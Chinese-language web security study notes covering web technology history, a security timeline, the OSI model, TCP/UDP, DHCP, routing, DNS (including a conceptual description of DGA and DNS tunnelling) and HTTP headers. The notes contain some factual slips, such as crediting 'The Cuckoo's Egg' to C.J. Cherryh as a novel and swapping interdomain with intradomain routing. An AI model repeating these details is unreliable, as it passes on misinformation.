Web安全学习笔记

序章

Web技术演化

简单网站

静态页面

Web技术在最初阶段,网站的主要内容是静态的,大多站点托管在ISP上,由文字和图片组成,制作和表现形式也是以表格为主。当时的用户行为也非常简单,基本只是浏览网页。

多媒体阶段

随着技术的不断发展,音频、视频、Flash等多媒体技术诞生了。多媒体的加入使得网页变得更加生动形象,网页上的交互也给用户带来了更好的体验。

CGI阶段

渐渐的,多媒体已经不能满足人们的请求,于是CGI (Common Gateway Interface) 应运而生。CGI定义了Web服务器与外部应用程序之间的通信接口标准,因此Web服务器可以通过CGI执行外部程序,让外部程序根据Web请求内容生成动态的内容。

在这个时候,各种编程语言如PHP/ASP/JSP也逐渐加入市场,基于这些语言可以实现更加模块化的、功能更强大的应用程序。

Ajax

在开始的时候,用户提交整个表单后才能获取结果,用户体验极差。于是Ajax (Asynchronous Javascript And XML) 技术逐渐流行起来,它使得应用在不更新整个页面的前提下也可以获得或更新数据。这使得Web应用程序更为迅捷地回应用户动作,并避免了在网络上发送那些没有改变的信息。

MVC

随着Web应用开发越来越标准化,出现了MVC等思想。MVC是Model/View/Control的缩写,Model用于封装数据和数据处理方法,视图View是数据的HTML展现,控制器Controller负责响应请求,协调Model和View。

Model,View和Controller的分开,是一种典型的关注点分离的思想,使得代码复用性和组织性更好,Web应用的配置性和灵活性也越来越好。而数据访问也逐渐通过面向对象的方式来替代直接的SQL访问,出现了ORM (Object Relation Mapping) 的概念。

除了MVC,类似的设计思想还有MVP,MVVM等。

数据交互

简单数据交互

在Web技术发展最初,前后端交互大部分都使用Web表单、XML、SOAP等较为简单的方式。

RESTful

在CGI时期,前后端通常是没有做严格区分的,随着解耦和的需求不断增加,前后端的概念开始变得清晰。前端主要指网站前台部分,运行在PC端、移动端等浏览器上展现给用户浏览的网页,由HTML5、CSS3、JavaScript组成。后端主要指网站的逻辑部分,涉及数据的增删改查等。

此时,REST (Representation State Transformation) 逐渐成为一种流行的Web架构风格。

REST鼓励基于URL来组织系统功能,充分利用HTTP本身的语义,而不是仅仅将HTTP作为一种远程数据传输协议。一般RESTful有以下的特征:

  • 域名和主域名分开
    • api.example.com
    • example.com/api/
  • 带有版本控制
    • api.example.com/v1
    • api.example.com/v2
  • 使用URL定位资源
    • GET /users 获取所有用户
    • GET /team/:team/users 获取某团队所有用户
    • POST /users 创建用户
    • PATCH/PUT /users 修改某个用户数据
    • DELETE /users 删除某个用户数据
  • 用 HTTP 动词描述操作
    • GET 获取资源,单个或多个
    • POST 创建资源
    • PUT/PATCH 更新资源,客户端提供完整的资源数据
    • DELETE 删除资源
  • 正确使用状态码
    • 使用状态码提高返回数据的可读性
  • 默认使用 JSON 作为数据响应格式
  • 有清晰的文档
GraphQL

部分网络服务场景的数据有复杂的依赖关系,为了应对这些场景,Facebook 推出了 GraphQL ,以图状数据结构对数据进行查询存储。部分网站也应用了 GraphQL 作为 API 交互的方式。

二进制

随着业务对性能的要求提高,前后端开始使用HTTP/2、自定义Protocol Buffer等方式来加快数据交互。

中间件

架构复杂化

随着业务的不断发展,业务架构也越来越复杂。传统的功能被拆分成不同的模块,出现了中间件、中台等概念。代理服务、负载均衡、数据库分表、异地容灾、缓存、CDN、消息队列、安全防护等技术应用越来越广泛,增加了Web开发和运维的复杂度。

客户端的形态越来越多,除了Web之外iOS、Android等其他场景也出现在Web服务的客户端场景。

数据库从最开始的轻量数据库,出现了Redis/Memcached缓存数据库等一类满足特定需求的数据库。

为了满足特定的业务需求,出现了Lucene/Solr/Elasticsearch搜索应用服务器,Kafka/RabbitMQ/ZeroMQ消息系统,Spark计算引擎,Hive数据仓库平台等不同的基础架构。

分布式

随着数据量的不断提高,单台设备难以承载这样的访问量,同时不同功能也被拆分到不同的应用中,于是出现了提高业务复用及整合的分布式服务框架(RPC)。

CI/CD

持续集成 (Continuous Integration, CI) 是让开发人员将工作集成到共享分支中的过程。频繁的集成有助于解决隔离,减少每次提交的大小,以降低合并冲突的可能性。

持续交付 (Continuous Deployment, CD) 是持续集成的扩展,它将构建从集成测试套件部署到预生产环境。这使得它可以直接在类生产环境中评估每个构建,因此开发人员可以在无需增加任何工作量的情况下,验证bug修复或者测试新特性。

云服务

云计算诞生之前,大部分计算资源是处于“裸金属”状态的物理机,运维人员选择对应规格的硬件,建设机房的 IDC 网络,完成服务的提供,投入硬件基础建设和维护的成本很高。云服务出现之后,使用者可以直接购买云主机,基础设施由供应商管理,这种方式也被称作 IaaS (Infrastructure-as-a-Service) 。

随着架构的继续发展,应用的运行更加细粒度,部署环境容器化,各个功能拆成微服务或是Serverless的架构。

Serverless

Serverless 架构由两部分组成,即 Faas (Function-as-a-Service) 和 BaaS (Backend-as-a-Service) 。

FaaS是运行平台,用户上传需要执行的逻辑函数如一些定时任务、数据处理任务等到云函数平台,配置执行条件触发器、路由等等,就可以通过云平台完成函数的执行。

BaaS包含了后端服务组件,它基于 API 完成第三方服务,主要是数据库、对象存储、消息队列、日志服务等等。

微服务

微服务起源于2005年Peter Rodgers博士在云端运算博览会提出的微Web服务 (Micro-Web-Service),根本思想类似于Unix的管道设计理念。2014年,由Martin Fowler与 James Lewis共同提出了微服务的概念,定义了微服务架构风格是一种通过一套小型服务来开发单个应用的方法,每个服务运行在自己的进程中,并通过轻量级的机制进行通讯 (HTTP API) 。

微服务是一种应用于组件设计和部署架构的软件架构风格。它利用模块化的方式组合出复杂的大型应用程序:

  • 各个服务功能内聚,实现与接口分离。
  • 各个服务高度自治、相互解耦,可以独立进行部署、版本控制和容量伸缩。
  • 各个服务之间通过 API 的方式进行通信。
  • 各个服务拥有独立的状态,并且只能通过服务本身来对其进行访问。
API网关

API网关是一个服务器,客户端只需要使用简单的访问方式,统一访问API网关,由API网关来代理对后端服务的访问,同时由于服务治理特性统一放到API网关上面,服务治理特性的变更可以做到对客户端透明,一定程度上实现了服务治理等基础特性和业务服务的解耦,服务治理特性的升级也比较容易实现。

网络攻防技术演化

历史发展

1939年,图灵破解了Enigma,使战争提前结束了两年,这是较早的一次计算机安全开始出现在人们的视野中,这个时候计算机的算力有限,人们使用的攻防方式也相对初级。

1949年,约翰·冯·诺依曼(John Von Neumann)提出了一种可自我复制的程序的设计,这被认为是世界上第一种计算机病毒。

1970年到2009年间,随着因特网不断发展,网络安全也开始进入人们的视野。在网络发展的初期,很多系统都是零防护的,安全意识也尚未普及开来。很多系统的设计也只考虑了可用性,对安全性的考虑不多,所以在当时结合搜索引擎与一些集成渗透测试工具,可以很容易的拿到数据或者权限。

1972年,缓冲区溢出攻击被 Computer Security Technology Planning Study 提出。

1984年,Ken Thompson 在 Reflections on Trusting Trust 一文中介绍了自己如何在编译器中增加后门来获取 Unix 权限的,这也是较早的供应链攻击。

1988年,卡耐基梅隆大学(Carnegie Mellon University, CMU)的一位学生以测试的目的编写了Morris Worm,对当时的互联网造成了极大的损害。

同年,CMU的CERT Coordination Center (CERT-CC)为了处理Morris Worm对互联网造成的破坏,组成了第一个计算机紧急响应小组(Computer Emergency Response Team),而后全球多个国家、地区、团体都构建了CERT、SRC等组织。

同样是在1988年,Barton Miller教授在威斯康星大学的 计算机实验课上 ,首次提出Fuzz生成器(Fuzz Generator)的概念,用于测试Unix程序的健壮性,即用随机数据来测试程序直至崩溃。因此,Barton Miller教授也被多数人尊称为"模糊测试之父"。

1989年,C.J.Cherryh 发表了小说 The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage ,这本书是作者根据追溯黑客攻击的真实经历改编,在书中提出了蜜罐技术的雏形。

1990年,一些网络防火墙的产品开始出现,此时主要是基于网络的防火墙,可以处理FTP等应用程序。

1993年起,Jeff Moss开始每年在美国内华达州的拉斯维加斯举办 DEFCON (也写做 DEF CON, Defcon, or DC, 全球最大的计算机安全会议之一) 。CTF (Capture The Flag) 比赛的形式也是起源于1996年的 DEFCON 。

1993年7月,Windows NT 3.1发布,引入了身份认证、访问控制和安全审计等安全控制机制,在此之前的 Windows 9x 内核几乎没有任何安全性机制。

1996年,Smashing the Stack For Fun and Profit发表,在堆栈的缓冲区溢出的利用方式上做出了开创性的工作。

1997年起,Jeff Moss开始举办 Black Hat ,以中立的立场进行信息安全研究的交流和培训,到目前为止,Black Hat 也会在欧洲和亚洲举行。

1998年12月,Jeff Forristal在一篇 文章 中提到了使用SQL注入的技巧攻击一个网站的例子,从此SQL注入开始被广泛讨论。

1999年1月21日-22日的第二届 Research with Security Vulnerability Databases 的 WorkShop 上, MITRE 的创始人 David E. Mann 和 Steven M. Christey 发表了一篇名为《Towards a Common Enumeration of Vulnerabilities》的白皮书,提出了CVE (Common Vulnerabilities and Exposures, 通用漏洞披露) 的概念,在当年收录并公开了321个CVE漏洞。

1999年12月,MSRC的一些工程师发现了一些网站被注入代码的例子,他们在整理讨论后公开了这种攻击,并称为 Cross Site Scripting。

2002年1月,Microsoft发起了 “可信赖计算” (Trustworthy Computing) 计划,以帮助确保产品和服务在本质上具有高度安全性,可用性,可靠性以及业务完整性,SDL (Security Development Lifecycle) 也在此时被提出。

2001年9月9日,Mark Curphey启动了OWASP (Open Web Application Security Project) 项目,开始在社区中提供一些Web攻击技术的文章、方法和工具等。

在此之后,Responsible disclosure / Full disclosure 等概念也不断进入人们的视野之中。

2002年10月4日,Kevin Mitnick 编著的 The Art of Deception (欺骗的艺术) 出版,这本书详细的介绍了社会工程学在攻击中是如何应用的,Kevin Mitnick 也被认为是社会工程学的开山鼻祖。

2005年7月25日,Zero Day Initiative (ZDI) 创建,鼓励负责任的漏洞披露。

2005年11月,基于从1941年2月开始的情报收集积累和发展,Director of National Intelligence 宣布成立 Open Source Center (OSC) ,进行开源情报的收集,而后 Open-source intelligence (OSINT) 的概念也不断被人们认知。

2006年,APT(Advanced Persistent Threat, 高级持续威胁) 攻击的概念被正式提出,用来描述从20世纪90年代末到21世纪初在美国军事和政府网络中发现的隐蔽且持续的网络攻击。

2006年起,美国国土安全部(DHS)开始每两年举行一次 “网络风暴” (Cyber Storm) 系列国家级网络事件演习。

随着时代不断的发展,攻防技术有了很大的改变,防御手段、安全意识也随着演化。在攻击发生前有威胁情报、黑名单共享等机制,威胁及时能传播。在攻击发生时有基于各种机制的防火墙如关键字检测、语义分析、深度学习,有的防御机制甚至能一定程度上防御零日攻击。在攻击发生后,一些关键系统系统做了隔离,攻击成果难以扩大,就算拿到了目标也很难做进一步的攻击。也有的目标蜜罐仿真程度很高,有正常的服务和一些难以判断真假的业务数据。

2010年6月,震网 (Stuxnet) 被发现,在这之后供应链攻击事件开始成为网络空间安全的新兴威胁之一。随后的XcodeGhost、CCleaner等供应链攻击事件都造成了重大影响。

在2010年Forrester Research Inc.的分析师提出了“零信任”的概念模型时。

2012年1月,Gartner 公司提出了 IAST (Interactive Application Security Testing) 的概念,提供了结合 DAST 和 SAST 两种技术的解决方案。

2012年9月,Gartner 公司研究员 David Cearley 提出了 DevSecOps 的概念,表示 DevOps 的流程应该包含安全理念。

2013年,MITRE 提出了 ATT&CK™ (Adversarial Tactics, Techniques, and Common Knowledge, ATT&CK) ,这是一个站在攻击者的视角来描述攻击中各阶段用到的技术的模型。

2013年,Michigan 大学开始了 ZMap 项目,在2015年这个项目演化为 Censys ,从这之后网络空间测绘的项目逐渐出现。

2014年,在 Gartner Security and Risk Management Summit 上,Runtime Application Self-protection (RASP) 的概念被提出,在应用层进行安全保护。

2015年,Gartner 首次提出了 SOAR 的概念,最初的定义是 Security Operations, Analytics and Reporting,即安全运维分析与报告。

2017年,Gartner 对 SOAR 概念做了重新定义:Security Orchestration, Automation and Response, 即安全编排、自动化与响应。

网络安全观

网络安全定义

网络安全的一个通用定义指网络信息系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的破坏、更改、泄露,系统能连续、可靠、正常地运行,服务不中断。网络安全简单的说是在网络环境下能够识别和消除不安全因素的能力。

网络安全在不同环境和应用中有不同的解释,例如系统运行的安全、系统信息内容的安全、信息通信与传播的安全等。

网络安全的基本需求包括可靠性、可用性、保密性、完整性、不可抵赖性、可控性、可审查性、真实性等。其中三个最基本的要素是机密性 (Confidentiality)、完整性 (Integrity)、可用性 (Availability)。

机密性是不将有用信息泄漏给非授权用户的特性。可以通过信息加密、身份认证、访问控制、安全通信协议等技术实现,信息加密是防止信息非法泄露的最基本手段,主要强调有用信息只被授权对象使用的特征。

完整性是指信息在传输、交换、存储和处理过程中,保持信息不被破坏或修改、不丢失和信息未经授权不能改变的特性,也是最基本的安全特征。

可用性指信息资源可被授权实体按要求访问、正常使用或在非正常情况下能恢复使用的特性。在系统运行时正确存取所需信息,当系统遭受意外攻击或破坏时,可以迅速恢复并能投入使用。是衡量网络信息系统面向用户的一种安全性能,以保障为用户提供服务。

网络安全的主体是保护网络上的数据和通信的安全,数据安全性是指软硬件保护措施,用来阻止对数据进行非授权的泄漏、转移、修改和破坏等,通信安全性是通信保护措施,要求在通信中采用保密安全性、传输安全性、辐射安全性等措施。

系统脆弱性

信息系统本身是脆弱的,信息系统的硬件资源、通信资源、软件及信息资源等都可能因为可预见或不可预见甚至恶意的原因而可能导致系统受到破坏、更改、泄露和功能失效,从而使系统处于异常状态,甚至崩溃瘫痪。

硬件资源的脆弱性主要表现为物理安全方面的问题,多源于设计,采用软件程序的方法见效不大。

软件的脆弱性来源于设计和软件工程实施中遗留问题,如设计中的疏忽、内部设计的逻辑混乱,没有遵守信息系统安全原则进行设计等。

计算机网络与协议

网络基础

计算机通信网的组成

计算机网络由通信子网和资源子网组成。其中通信子网负责数据的无差错和有序传递,其处理功能包括差错控制、流量控制、路由选择、网络互连等。

其中资源子网是计算机通信的本地系统环境,包括主机、终端和应用程序等, 资源子网的主要功能是用户资源配置、数据的处理和管理、软件和硬件共享以及负载 均衡等。

总的来说,计算机通信网就是一个由通信子网承载的、传输和共享资源子网的各类信息的系统。

通信协议

为了完成计算机之间有序的信息交换,提出了通信协议的概念,其定义是相互通信的双方(或多方)对如何进行信息交换所必须遵守的一整套规则。

协议涉及到三个要素,分别为:

  • 语法:语法是用户数据与控制信息的结构与格式,以及数据出现顺序的意义
  • 语义:用于解释比特流的每一部分的意义
  • 时序:事件实现顺序的详细说明

OSI七层模型

简介

OSI(Open System Interconnection)共分为物理层、数据链路层、网络层、传输层、会话层、表示层、应用层七层,其具体的功能如下。

物理层
  • 提供建立、维护和释放物理链路所需的机械、电气功能和规程等特性
  • 通过传输介质进行数据流(比特流)的物理传输、故障监测和物理层管理
  • 从数据链路层接收帧,将比特流转换成底层物理介质上的信号
数据链路层
  • 在物理链路的两端之间传输数据
  • 在网络层实体间提供数据传输功能和控制
  • 提供数据的流量控制
  • 检测和纠正物理链路产生的差错
  • 格式化的消息称为帧
网络层
  • 负责端到端的数据的路由或交换,为透明地传输数据建立连接
  • 寻址并解决与数据在异构网络间传输相关的所有问题
  • 使用上面的传输层和下面的数据链路层的功能
  • 格式化的消息称为分组
传输层
  • 提供无差错的数据传输
  • 接收来自会话层的数据,如果需要,将数据分割成更小的分组,向网络层传送分组并确保分组完整和正确到达它们的目的地
  • 在系统之间提供可靠的透明的数据传输,提供端到端的错误恢复和流量控制
会话层
  • 提供节点之间通信过程的协调
  • 负责执行会话规则(如:连接是否允许半双工或全双工通信)、同步数据流以及当故障发生时重新建立连接
  • 使用上面的表示层和下面的传输层的功能
表示层
  • 提供数据格式、变换和编码转换
  • 涉及正在传输数据的语法和语义
  • 将消息以合适电子传输的格式编码
  • 执行该层的数据压缩和加密
  • 从应用层接收消息,转换格式,并传送到会话层,该层常合并在应用层中
应用层
  • 包括各种协议,它们定义了具体的面向用户的应用:如电子邮件、文件传输等
总结

低三层模型属于通信子网,涉及为用户间提供透明连接,操作主要以每条链路( hop-by-hop)为基础,在节点间的各条数据链路上进行通信。由网络层来控制各条链路上的通信,但要依赖于其他节点的协调操作。

高三层属于资源子网,主要涉及保证信息以正确可理解形式传送。

传输层是高三层和低三层之间的接口,它是第一个端到端的层次,保证透明的端到端连接,满足用户的服务质量(QoS)要求,并向高三层提供合适的信息形式。

UDP协议

主要特点

  • 协议开销小、效率高。
  • UDP是无连接的,即发送数据之前不需要建立连接。
  • UDP使用尽最大努力交付,即不保证可靠交付。
  • UDP没有拥塞控制。
  • UDP支持一对一、一对多、多对一和多对多交互通信。
  • UDP的首部开销小,只有8个字节。

TCP协议

简介

TCP(Transmission Control Protocol,传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议,由RFC 793定义。

TCP状态

statetransition

三次握手

三次握手(Three-Way Handshake)是指建立一个TCP连接时,需要客户端和服务端总共发送3个包以确认连接的建立。

第一次握手客户端将标志位 SYN 置为1,随机产生一个值 seq=s ,并将该数据包发送给服务端,客户端进入 SYN_SENT 状态,等待服务端确认。

第二次握手服务端收到数据包后由标志位 SYN=1 知道客户端请求建立连接,服务端将标志位 SYN 和 ACK 都置为1,ack=s+1,随机产生一个值 seq=k ,并将该数据包发送给客户端以确认连接请求,服务端进入 SYN_RCVD 状态。

第三次握手客户端收到确认后,检查ack值是否为s+1,ACK标志位是否为1,如果正确则将标志位 ACK 置为1,ack=k+1,并将该数据包发送给服务端,服务端检查ack值是否为k+1,ACK标志位是否为1,如果正确则连接建立成功,客户端和服务端进入 ESTABLISHED 状态,完成三次握手。

四次挥手

四次挥手(Four-Way Wavehand)指断开一个TCP连接时,需要客户端和服务端总共发送4个包以确认连接的断开。

第一次挥手客户端发送一个 FIN ,用来关闭客户端到服务端的数据传送,客户端进入 FIN_WAIT_1 状态。

第二次挥手服务端收到 FIN 后,发送一个 ACK 给客户端,确认序号为收到序号+1,服务端进入 CLOSE_WAIT 状态。

第三次挥手服务端发送一个 FIN ,用来关闭服务端到客户端的数据传送,服务端进入 LAST_ACK 状态。

第四次挥手客户端收到 FIN 后,客户端进入 TIME_WAIT 状态,接着发送一个 ACK 给服务端,确认序号为收到序号+1,服务端进入 CLOSED 状态,完成四次挥手。

拥塞控制

拥塞是指网络中报文数量过多,使得服务端来不及处理,以致引起这部分乃至整个网络性能下降的现象,严重时甚至会导致网络通信业务陷入停顿即出现死锁现象。

TCP采用拥塞控制算法来减少或者避免拥塞现象的发生,TCP的拥塞算法有过多种实现,包括Tahoe、Reno、NewReno、Vegas、Hybla、BIC 、CUBIC、SACK、Westwood、PRR、BBR等。

DHCP协议

简介

动态主机配置协议 (Dynamic Host Configuration Protocol,DHCP) 是一个用于局域网的网络协议,位于OSI模型的应用层,使用UDP协议工作,主要用于自动分配IP地址给用户,方便管理员进行统一管理。

DHCP服务器端使用67/udp,客户端使用68/udp。DHCP运行分为四个基本过程,分别为请求IP租约、提供IP租约、选择IP租约和确认IP租约。客户端在获得了一个IP地址以后,就可以发送一个ARP请求来避免由于DHCP服务器地址池重叠而引发的IP冲突。

DCHP 报文格式

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     op (1)    |   htype (1)   |   hlen (1)    |   hops (1)    |
+---------------+---------------+---------------+---------------+
|                            xid (4)                            |
+-------------------------------+-------------------------------+
|           secs (2)            |           flags (2)           |
+-------------------------------+-------------------------------+
|                          ciaddr  (4)                          |
+---------------------------------------------------------------+
|                          yiaddr  (4)                          |
+---------------------------------------------------------------+
|                          siaddr  (4)                          |
+---------------------------------------------------------------+
|                          giaddr  (4)                          |
+---------------------------------------------------------------+
|                          chaddr  (16)                         |
+---------------------------------------------------------------+
|                          sname   (64)                         |
+---------------------------------------------------------------+
|                          file    (128)                        |
+---------------------------------------------------------------+
|                          options (variable)                   |
+---------------------------------------------------------------+

路由算法

简介

路由算法是用于找到一条从源路由器到目的路由器的最佳路径的算法。存在着多种路由算法,每种算法对网络和路由器资源的影响都不同;由于路由算法使用多种度量标准 (metric),所以不同路由算法的最佳路径选择也有所不同。

路由选择算法的功能

源/宿对之间的路径选择,以及选定路由之后将报文传送到它们的目的地。

路由选择算法的要求:

  • 正确性:确保分组从源节点传送到目的节点
  • 简单性:实现方便,软硬件开销小
  • 自适应性:也称健壮性,算法能够适应业务量和网络拓扑的变化
  • 稳定性:能长时间无故障运行
  • 公平性:每个节点都有机会传送信息
  • 最优性:尽量选取好的路由

自治系统 AS (Autonomous System)

经典定义:

  • 由一个组织管理的一整套路由器和网络。
  • 使用一种AS 内部的路由选择协议和共同的度量以确定分组在该 AS 内的路由。
  • 使用一种 AS 之间的路由选择协议用以确定分组在AS之间的路由。

尽管一个 AS 使用了多种内部路由选择协议和度量,但对其他 AS 表现出的是一个单一的和一致的路由选择策略。

两大类路由选择协议

因特网的中,路由协议可以分为内部网关协议 IGP (Interior Gateway Protocol)和外部网关协议 EGP (External Gateway Protocol)。

IGP是在一个AS内部使用的路由选择协议,如RIP和OSPF协议,是域内路由选择 (interdomain routing)。当源主机和目的主机处在不同的AS中,在数据报到达AS的边界时,使用外部网关协议 EGP 将路由选择信息传递到另一个自治系统中,如BGP-4,是域间路由选择 (intradomain routing)。

RIP

路由信息协议 (Routing Information Protocol, RIP) 是一种基于距离 向量的路由选择协议。RIP 协议要求网络中的每一个路由器都要维护从它自己到自治系统内其他每一个目的网络的距离和下一跳路由器地址。

OSPF

开放最短路径优先(Open Shortest Path First,OSPF),这个算法名为“最短路径优先”是因为使用了 Dijkstra 提出的最短路径算法SPF,只是一个协议的名字,它并不表示其他的路由选择协议不是“最短路径优先”。

域名系统

简介

DNS是一个简单的请求-响应协议,是将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP协议的53端口。

术语

mDNS

Multicast DNS (mDNS),多播DNS,使用5353端口,组播地址为 224.0.0.251[FF02::FB] 。在一个没有常规DNS服务器的小型网络内可以使用mDNS来实现类似DNS的编程接口、包格式和操作语义。mDNS协议的报文与DNS的报文结构相同,但有些字段对于mDNS来说有新的含义。

启动mDNS的主机会在进入局域网后向所有主机组播消息,包含主机名、IP等信息,其他拥有相应服务的主机也会响应含有主机名和IP的信息。

mDNS的域名是用 .local 和普通域名区分开的。

FQDN

FQDN (Fully-Qualified Domain Name) 是域名的完全形态,主要是包含零长度的根标签,例如 www.example.com.

TLD

Top-Level Domain (TLD) 是属于根域的一个域,例如 comjp

TLD一般可以分为 Country Code Top-Level Domains (ccTLDs) 、Generic Top-Level Domains (gTLDs) 以及其它。

IDN

Internationalized Domain Names for Applications (IDNA) 是为了处理非ASCII字符的情况。

CNAME

CNAME即Canonical name,又称alias,将域名指向另一个域名。

TTL

Time To Live,无符号整数,记录DNS记录过期的时间,最小是0,最大是2147483647 (2^31 - 1)。

请求响应

DNS记录
  • A记录
    • 返回域名对应的IPv4地址
  • NS记录
    • 域名服务器
    • 返回该域名由哪台域名服务器解析
  • PTR记录
    • 反向记录
    • 从IP地址到域名的记录
  • MX记录
    • 电子邮件交换记录
    • 记录邮件域名对应的IP地址
响应码
  • NOERROR
No error condition
  • FORMERR
Format error - The name server was unable to interpret the query
  • SERVFAIL
Server failure - The name server was unable to process this query due to a problem with the name server
  • NXDOMAIN
this code signifies that the domain name referenced in the query does not exist
  • NOTIMP
Not Implemented - The name server does not support the requested kind of query
  • REFUSED
Refused - The name server refuses to perform the specified operation for policy reasons
  • NODATA
A pseudo RCODE which indicates that the name is valid, for the given class, but [there] are no records of the given type A NODATA response has to be inferred from the answer.

域名系统工作原理

解析过程

DNS解析过程是递归查询的,具体过程如下:

  • 用户要访问域名www.example.com时,先查看本机hosts是否有记录或者本机是否有DNS缓存,如果有,直接返回结果,否则向递归服务器查询该域名的IP地址
  • 递归缓存为空时,首先向根服务器查询com顶级域的IP地址
  • 根服务器告知递归服务器com顶级域名服务器的IP地址
  • 递归向com顶级域名服务器查询负责example.com的权威服务器的IP
  • com顶级域名服务器返回相应的IP地址
  • 递归向example.com的权威服务器查询www.example.com的地址记录
  • 权威服务器告知www.example.com的地址记录
  • 递归服务器将查询结果返回客户端
域传送

DNS服务器可以分为主服务器、备份服务器和缓存服务器。域传送是指备份服务器从主服务器拷贝数据,并使用得到的数据更新自身数据库。域传送是在主备服务器之间同步数据库的机制。

服务器类型

根服务器

根服务器是DNS的核心,负责互联网顶级域名的解析,用于维护域的权威信息,并将DNS查询引导到相应的域名服务器。

根服务器在域名树中代表最顶级的 . 域, 一般省略。

13台IPv4根服务器的域名标号为a到m,即a.root-servers.org到m.root-servers.org,所有服务器存储的数据相同,仅包含ICANN批准的TLD域名权威信息。

权威服务器

权威服务器上存储域名Zone文件,维护域内域名的权威信息,递归服务器可以从权威服务器获得DNS查询的资源记录。

权威服务器需要在所承载的域名所属的TLD管理局注册,同一个权威服务器可以承载不同TLD域名,同一个域也可以有多个权威服务器。

递归服务器

递归服务器负责接收用户的查询请求,进行递归查询并响应用户查询请求。在初始时递归服务器仅有记录了根域名的Hint文件。

DNS利用

DGA

DGA(Domain Generate Algorithm,域名生成算法)是一种利用随机字符来生成C&C域名,从而逃避域名黑名单检测的技术手段,常见于botnet中。一般来说,一个DGA域名的存活时间约在1-7天左右。

通信时,客户端和服务端都运行同一套DGA算法,生成相同的备选域名列表,当需要发动攻击的时候,选择其中少量进行注册,便可以建立通信,并且可以对注册的域名应用速变IP技术,快速变换IP,从而域名和IP都可以进行快速变化。

DGA域名有多种生成方式,根据种子类型可以分为确定性和不确定性的生成。不确定性的种子可能会选用当天的一些即时数据,如汇率信息等。

DNS隧道

DNS隧道工具将进入隧道的其他协议流量封装到DNS协议内,在隧道上传输。这些数据包出隧道时进行解封装,还原数据。

加密方案

作为主流的防御方案,DNS加密有五种方案,分别是 DNS-over-TLS (DoT)、DNS-over-DTLS、DNS-over-HTTPS (DoH)、DNS-over-QUIC以及DNSCrypt。

DoT

DoT方案在2016年发表于RFC7858,使用853端口。主要思想是Client和Server通过TCP协议建立TLS会话后再进行DNS传输,Client通过SSL证书验证服务器身份。

DNS-over-DTLS

DNS-over-DTLS和DoT类似,区别在于使用UDP协议而不是TCP协议。

DoH

DoH方案在发表RFC8484,使用 https://dns.example.com/dns-query{?dns} 来查询服务器的IP,复用https的443端口,流量特征比较小。DoH会对DNS服务器进行加密认证,不提供fallback选项。目前Cloudflare、Google等服务商对DoH提供了支持。

DNS-over-QUIC

DNS-over-QUIC安全特性和DoT类似,但是性能更高,目前没有合适的软件实现。

DNSCrypt

DNSCrypt使用X25519-XSalsa20Poly1305而非标准的TLS,且DNSCrypt的Client需要额外的软件,Server需要的专门的证书。

参考链接

工具
研究文章

HTTP协议簇

HTTP标准

报文格式
请求报文格式
<method><request-URL><version>
<headers>

<entity-body>
响应报文格式
<version><status><reason-phrase>
<headers>

<entity-body>
字段解释
  • method
    • HTTP动词
    • 常见方法:HEAD / GET / POST / PUT / DELETE / PATCH / OPTIONS / TRACE
    • 扩展方法:LOCK / MKCOL / COPY / MOVE
  • version
    • 报文使用的HTTP版本
    • 格式为HTTP/<major>.<minor>
  • url
    • <scheme>://<user>:<password>@<host>:<port>/<path>;<params>?<query>#<frag>
请求头列表
  • Accept
    • 指定客户端能够接收的内容类型
    • Accept: text/plain, text/html
  • Accept-Charset
    • 浏览器可以接受的字符编码集
    • Accept-Charset: iso-8859-5
  • Accept-Encoding
    • 指定浏览器可以支持的web服务器返回内容压缩编码类型
    • Accept-Encoding: compress, gzip
  • Accept-Language
    • 浏览器可接受的语言
    • Accept-Language: en,zh
  • Accept-Ranges
    • 可以请求网页实体的一个或者多个子范围字段
    • Accept-Ranges: bytes
  • Authorization
    • HTTP授权的授权证书
    • Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
  • Cache-Control
    • 指定请求和响应遵循的缓存机制 Cache-Control: no-cache
  • Connection
    • 表示是否需要持久连接 // HTTP 1.1默认进行持久连接
    • Connection: close
  • Cookie
    • HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器
    • Cookie: role=admin;ssid=1
  • Content-Length
    • 请求的内容长度
    • Content-Length: 348
  • Content-Type
    • 请求的与实体对应的MIME信息
    • Content-Type: application/x-www-form-urlencoded
  • Date
    • 请求发送的日期和时间
    • Date: Tue, 15 Nov 2010 08:12:31 GMT
  • Expect
    • 请求的特定的服务器行为
    • Expect: 100-continue
  • From
  • Host
    • 指定请求的服务器的域名和端口号
    • Host: www.github.com
  • If-Match
    • 只有请求内容与实体相匹配才有效
    • If-Match: "737060cd8c284d8af7ad3082f209582d"
  • If-Modified-Since
    • 如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码
    • If-Modified-Since: Sat, 29 Oct 2018 19:43:31 GMT
  • If-None-Match
    • 如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变
    • If-None-Match: "737060cd8c284d8af7ad3082f209582d"
  • If-Range
    • 如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag
    • If-Range: "737060cd8c284d8af7ad3082f209582d"
  • If-Unmodified-Since
    • 只在实体在指定时间之后未被修改才请求成功
    • If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
  • Max-Forwards
    • 限制信息通过代理和网关传送的时间
    • Max-Forwards: 10
  • Pragma
    • 用来包含实现特定的指令
    • Pragma: no-cache
  • Proxy-Authorization
    • 连接到代理的授权证书
    • Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
  • Range
    • 只请求实体的一部分,指定范围
    • Range: bytes=500-999
  • Referer
  • TE
    • 客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息
    • TE: trailers,deflate;q=0.5
  • Upgrade
    • 向服务器指定某种传输协议以便服务器进行转换(如果支持)
    • Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
  • User-Agent
    • User-Agent的内容包含发出请求的用户信息
